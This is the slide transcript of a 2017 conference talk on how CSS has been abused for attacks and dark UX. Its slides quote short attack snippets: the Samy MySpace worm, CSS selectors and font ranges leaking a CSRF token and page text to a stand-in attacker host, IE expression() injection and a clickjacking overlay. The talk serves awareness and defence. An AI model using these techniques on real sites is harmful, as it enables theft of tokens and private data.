Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2
1.8k
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
180
The Tail and Its Dog
stephenhay
1
310
From Deception to Clarity
stephenhay
4
670
Sculpting Text
stephenhay
4
920
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
520
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
560
Flexbox: One Giant Leap for Web Layout
stephenhay
6
410
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
940
Flexbox: One Giant Leap for Web Layout
stephenhay
5
180
Other Decks in Design
See All in Design
AI時代に淘汰されないデザインのしごと
akinen
1
150
オルタナUX | AIで高速化するのもいいけど品質も大事なんじゃない?というお話
iflection
6
1.6k
ブランドパーソナリティ言語化における生成AI活用の実際
h0sa
0
190
Flow, Not Stock 知識触媒としてのIA
5kaichi
1
300
#Dubois Challenge 2025: Economics
ajstarks
0
140
portfolio_YumiYasuda
yum0418
0
300
minpaku-community-scrum-patterns
norinity1103
1
170
Marpで推しCSSスライドを作ろう! / marp-with-favorite-css
fujiemon
0
380
The Spectacular Lies of Maps
axbom
PRO
1
160
DC Style Redesign
mcduckyart
0
140
Goodpatch Tour💙 / We are hiring!
goodpatch
31
870k
エンジニアでも捗る デザイナー的思考入門
tinykitten
PRO
1
1.1k
Featured
See All Featured
GitHub's CSS Performance
jonrohan
1031
460k
[Rails World 2023 - Day 1 Closing Keynote] - The Magic of Rails
eileencodes
35
2.5k
StorybookのUI Testing Handbookを読んだ
zakiyama
30
5.9k
Learning to Love Humans: Emotional Interface Design
aarron
273
40k
Become a Pro
speakerdeck
PRO
29
5.4k
Designing for Performance
lara
610
69k
Testing 201, or: Great Expectations
jmmastey
43
7.6k
Code Reviewing Like a Champion
maltzj
524
40k
How to Ace a Technical Interview
jacobian
278
23k
A Modern Web Designer's Workflow
chriscoyier
695
190k
How to train your dragon (web standard)
notwaldorf
96
6.1k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
282
13k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens